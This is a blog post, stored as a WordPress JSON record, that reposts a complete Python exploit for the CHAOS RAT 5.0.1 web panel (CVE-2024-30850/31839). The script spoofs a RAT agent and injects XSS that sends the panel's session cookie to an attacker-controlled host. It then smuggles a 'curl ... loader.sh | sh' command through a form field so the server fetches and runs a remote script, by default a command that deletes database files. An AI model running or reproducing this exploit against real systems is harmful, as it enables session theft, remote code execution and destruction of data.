{"id":56198,"date":"2024-04-10T20:21:27","date_gmt":"2024-04-10T16:21:27","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178009\/chaosrat501-exec.txt"},"modified":"2024-04-10T20:21:27","modified_gmt":"2024-04-10T16:21:27","slug":"chaos-rat-5-0-1-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/chaos-rat-5-0-1-remote-command-execution\/","title":{"rendered":"CHAOS RAT 5.0.1 Remote Command Execution"},"content":{"rendered":"<p># Exploit Title: CHAOS RAT v5.0.1 RCE<br \/># Date: 2024-04-05<br \/># Exploit Author: @_chebuya<br \/># Software Link: https:\/\/github.com\/tiagorlampert\/CHAOS<br \/># Version: v5.0.1 <br \/># Tested on: Ubuntu 20.04 LTS<br \/># CVE: CVE-2024-30850, CVE-2024-31839<br \/># Description: The CHAOS RAT web panel is vulnerable to command injection, which can be triggered from an XSS, allowing an attacker to takeover the RAT server<br \/># Github: https:\/\/github.com\/chebuya\/CVE-2024-30850-chaos-rat-rce-poc<br \/># Blog: https:\/\/blog.chebuya.com\/posts\/remote-code-execution-on-chaos-rat-via-spoofed-agents\/<br \/>import time<br \/>import requests<br \/>import threading<br \/>import json<br \/>import websocket<br \/>import http.client<br \/>import argparse<br \/>import sys<br \/>import re<\/p>\n<p>from functools import partial<br \/>from http.server import BaseHTTPRequestHandler, HTTPServer<\/p>\n<p>class Collector(BaseHTTPRequestHandler):<br \/>def __init__(self, ip, port, target, command, video_name, *args, **kwargs):<br \/>self.ip = ip<br \/>self.port = port<br \/>self.target = target<br \/>self.shell_command = command<br \/>self.video_name = video_name <br \/>super().__init__(*args, **kwargs)<\/p>\n<p>def do_GET(self):<br \/>if self.path == &#8220;\/loader.sh&#8221;:<br \/>self.send_response(200)<br \/>self.end_headers()<br \/>command = str.encode(self.shell_command)<br \/>self.wfile.write(command)<br \/>elif self.path == &#8220;\/video.mp4&#8221;:<br \/>with open(self.video_name, &#8216;rb&#8217;) as f:<br \/>self.send_response(200)<br \/>self.send_header(&#8216;Content-type&#8217;, &#8216;video\/mp4&#8217;)<br \/>self.end_headers()<br \/>self.wfile.write(f.read())<br \/>else:<br \/>cookie = self.path.split(&#8220;=&#8221;)[1]self.send_response(200)<br \/>self.end_headers()<br \/>self.wfile.write(b&#8221;&#8221;)<\/p>\n<p>background_thread = threading.Thread(target=run_exploit, args=(cookie, self.target, self.ip, self.port))<br \/>background_thread.start()<\/p>\n<p>def convert_to_int_array(string):<br \/>int_array = []for char in string:<br \/>int_array.append(ord(char))<br \/>return int_array<\/p>\n<p>def extract_client_info(path):<br \/>with open(path, &#8216;rb&#8217;) as f:<br \/>data = str(f.read())<\/p>\n<p>address_regexp = r&#8221;main\\.ServerAddress=(?:[0-9]{1,3}\\.){3}[0-9]{1,3}&#8221;<br \/>address_pattern = re.compile(address_regexp)<br \/>address = address_pattern.findall(data)[0].split(&#8220;=&#8221;)[1]\n<p>port_regexp = r&#8221;main\\.Port=\\d{1,6}&#8221;<br \/>port_pattern = re.compile(port_regexp)<br \/>port = port_pattern.findall(data)[0].split(&#8220;=&#8221;)[1]\n<p>jwt_regexp = r&#8221;main\\.Token=[a-zA-Z0-9_\\.\\-+\/=]*\\.[a-zA-Z0-9_\\.\\-+\/=]*\\.[a-zA-Z0-9_\\.\\-+\/=]*&#8221;<br \/>jwt_pattern = re.compile(jwt_regexp)<br \/>jwt = jwt_pattern.findall(data)[0].split(&#8220;=&#8221;)[1]\n<p>return f&#8221;{address}:{port}&#8221;, jwt<\/p>\n<p>def keep_connection(target, cookie, hostname, username, os_name, mac, ip):<\/p>\n<p>print(&#8220;Spoofing agent connection&#8221;)<br \/>headers = {<br \/>&#8220;Cookie&#8221;: f&#8221;jwt={cookie}&#8221;<br \/>}<\/p>\n<p>while True:<br \/>data = {&#8220;hostname&#8221;: hostname, &#8220;username&#8221;:username,&#8221;user_id&#8221;: username,&#8221;os_name&#8221;: os_name, &#8220;os_arch&#8221;:&#8221;amd64&#8243;, &#8220;mac_address&#8221;: mac, &#8220;local_ip_address&#8221;: ip, &#8220;port&#8221;:&#8221;8000&#8243;, &#8220;fetched_unix&#8221;:int(time.time())}<br \/>r = requests.get(f&#8221;http:\/\/{target}\/health&#8221;, headers=headers)<br \/>r = requests.post(f&#8221;http:\/\/{target}\/device&#8221;, headers=headers, json=data)<br \/>time.sleep(30)<\/p>\n<p>def handle_command(target, cookie, mac, ip, port):<br \/>print(&#8220;Waiting to serve malicious command outupt&#8221;)<br \/>headers = {<br \/>&#8220;Cookie&#8221;: f&#8221;jwt={cookie}&#8221;,<br \/>&#8220;X-Client&#8221;: mac<br \/>}<\/p>\n<p>ws = websocket.WebSocket()<br \/>ws.connect(f&#8217;ws:\/\/{target}\/client&#8217;, header=headers)<br \/>while True:<br \/>response = ws.recv()<\/p>\n<p>command = json.loads(response)[&#8216;command&#8217;]data = {&#8220;client_id&#8221;: mac, &#8220;response&#8221;: convert_to_int_array(f&#8221;&lt;\/pre&gt;&lt;script&gt;var i = new Image;i.src=&#8217;http:\/\/{ip}:{port}\/&#8217;+document.cookie;&lt;\/script&gt;&lt;video loop controls autoplay&gt;&lt;source src=\\&#8221;http:\/\/{ip}:{port}\/video.mp4\\&#8221; type=\\&#8221;video\/mp4\\&#8221;&gt;&lt;\/video&gt;&#8221;), &#8220;has_error&#8221;: False}<\/p>\n<p>ws.send_binary(json.dumps(data))<\/p>\n<p>def run_exploit(cookie, target, ip, port):<br \/>print(f&#8221;Exploiting {target} with JWT {cookie}&#8221;)<br \/>conn = http.client.HTTPConnection(target)<br \/>headers = {<br \/>&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0&#8217;,<br \/>&#8216;Content-Type&#8217;: &#8216;multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;196428912119225031262745068932&#8217;,<br \/>&#8216;Cookie&#8217;: f&#8217;jwt={cookie}&#8217;<br \/>}<br \/>conn.request(<br \/>&#8216;POST&#8217;,<br \/>&#8216;\/generate&#8217;,<br \/>f&#8217;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;196428912119225031262745068932\\r\\nContent-Disposition: form-data; name=&#8221;address&#8221;\\r\\n\\r\\nhttp:\/\/localhost\\&#8217;$(IFS=];b=curl]{ip}:{port}\/loader.sh;$b|sh)\\&#8217;\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;196428912119225031262745068932\\r\\nContent-Disposition: form-data; name=&#8221;port&#8221;\\r\\n\\r\\n8080\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;196428912119225031262745068932\\r\\nContent-Disposition: form-data; name=&#8221;os_target&#8221;\\r\\n\\r\\n1\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;196428912119225031262745068932\\r\\nContent-Disposition: form-data; name=&#8221;filename&#8221;\\r\\n\\r\\n\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;196428912119225031262745068932\\r\\nContent-Disposition: form-data; name=&#8221;run_hidden&#8221;\\r\\n\\r\\nfalse\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;196428912119225031262745068932&#8211;\\r\\n&#8217;,<br \/>headers<br \/>)<\/p>\n<p>def run(ip, port, target, command, video_name):<br \/>server_address = (ip, int(port))<\/p>\n<p>collector = partial(Collector, ip, port, target, command, video_name)<br \/>httpd = HTTPServer(server_address, collector)<br \/>print(f&#8217;Server running on port {ip}:{port}&#8217;)<br \/>httpd.serve_forever()<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>parser = argparse.ArgumentParser()<br \/>subparsers = parser.add_subparsers(dest=&#8221;option&#8221;)<\/p>\n<p>exploit = subparsers.add_parser(&#8220;exploit&#8221;)<br \/>exploit.add_argument(&#8220;-f&#8221;, &#8220;&#8211;file&#8221;, help=&#8221;The path to the CHAOS client&#8221;)<br \/>exploit.add_argument(&#8220;-t&#8221;, &#8220;&#8211;target&#8221;, help=&#8221;The url of the CHAOS server (127.0.0.1:8080)&#8221;)<br \/>exploit.add_argument(&#8220;-c&#8221;, &#8220;&#8211;command&#8221;, help=&#8221;The command to use&#8221;, default=r&#8221;find \/ -name chaos.db -exec rm -f {} \\;&#8221;)<br \/>exploit.add_argument(&#8220;-v&#8221;, &#8220;&#8211;video-name&#8221;, help=&#8221;The video name to use&#8221;, default=&#8221;rickroll.mp4&#8243;)<br \/>exploit.add_argument(&#8220;-j&#8221;, &#8220;&#8211;jwt&#8221;, help=&#8221;The JWT token to use&#8221;)<br \/>exploit.add_argument(&#8220;-l&#8221;, &#8220;&#8211;local-ip&#8221;, help=&#8221;The local IP to use for serving bash script and mp4&#8243;, required=True)<br \/>exploit.add_argument(&#8220;-p&#8221;, &#8220;&#8211;local-port&#8221;, help=&#8221;The local port to use for serving bash script and mp4&#8243;, default=8000)<br \/>exploit.add_argument(&#8220;-H&#8221;, &#8220;&#8211;hostname&#8221;, help=&#8221;The hostname to use for the spoofed client&#8221;, default=&#8221;DC01&#8243;)<br \/>exploit.add_argument(&#8220;-u&#8221;, &#8220;&#8211;username&#8221;, help=&#8221;The username to use for the spoofed client&#8221;, default=&#8221;Administrator&#8221;)<br \/>exploit.add_argument(&#8220;-o&#8221;, &#8220;&#8211;os&#8221;, help=&#8221;The OS to use for the spoofed client&#8221;, default=&#8221;Windows&#8221;)<br \/>exploit.add_argument(&#8220;-m&#8221;, &#8220;&#8211;mac&#8221;, help=&#8221;The MAC address to use for the spoofed client&#8221;, default=&#8221;3f:72:58:91:56:56&#8243;)<br \/>exploit.add_argument(&#8220;-i&#8221;, &#8220;&#8211;ip&#8221;, help=&#8221;The IP address to use for the spoofed client&#8221;, default=&#8221;10.0.17.12&#8243;)<\/p>\n<p>extract = subparsers.add_parser(&#8220;extract&#8221;)<br \/>extract.add_argument(&#8220;-f&#8221;, &#8220;&#8211;file&#8221;, help=&#8221;The path to the CHAOS client&#8221;, required=True)<\/p>\n<p>args = parser.parse_args()<\/p>\n<p>if args.option == &#8220;exploit&#8221;:<br \/>if args.target != None and args.jwt != None:<br \/>target = args.target<br \/>jwt = args.jwt<br \/>elif args.file != None:<br \/>target, jwt = extract_client_info(args.file)<br \/>else:<br \/>exploit.print_help(sys.stderr)<br \/>sys.exit(1)<\/p>\n<p>bg = threading.Thread(target=keep_connection, args=(target, jwt, args.hostname, args.username, args.os, args.mac, args.ip))<br \/>bg.start()<\/p>\n<p>cmd = threading.Thread(target=handle_command, args=(target, jwt, args.mac, args.local_ip, args.local_port))<br \/>cmd.start()<\/p>\n<p>server = threading.Thread(target=run, args=(args.local_ip, args.local_port, target, args.command, args.video_name))<br \/>server.start()<\/p>\n<p>elif args.option == &#8220;extract&#8221;:<br \/>target, jwt = extract_client_info(args.file)<br \/>print(f&#8221;CHAOS server: {target}\\nJWT: {jwt}&#8221;)<br \/>else:<br \/>parser.print_help(sys.stderr)<br \/>sys.exit(1)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: CHAOS RAT v5.0.1 RCE# Date: 2024-04-05# Exploit Author: @_chebuya# Software Link: https:\/\/github.com\/tiagorlampert\/CHAOS# Version: v5.0.1 # Tested on: Ubuntu 20.04 LTS# CVE: CVE-2024-30850, CVE-2024-31839# Description: The CHAOS RAT web panel is vulnerable to command injection, which can be triggered from an XSS, allowing an attacker to takeover the RAT server# Github: https:\/\/github.com\/chebuya\/CVE-2024-30850-chaos-rat-rce-poc# Blog: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56198","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56198","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56198"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56198\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56198"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56198"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56198"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}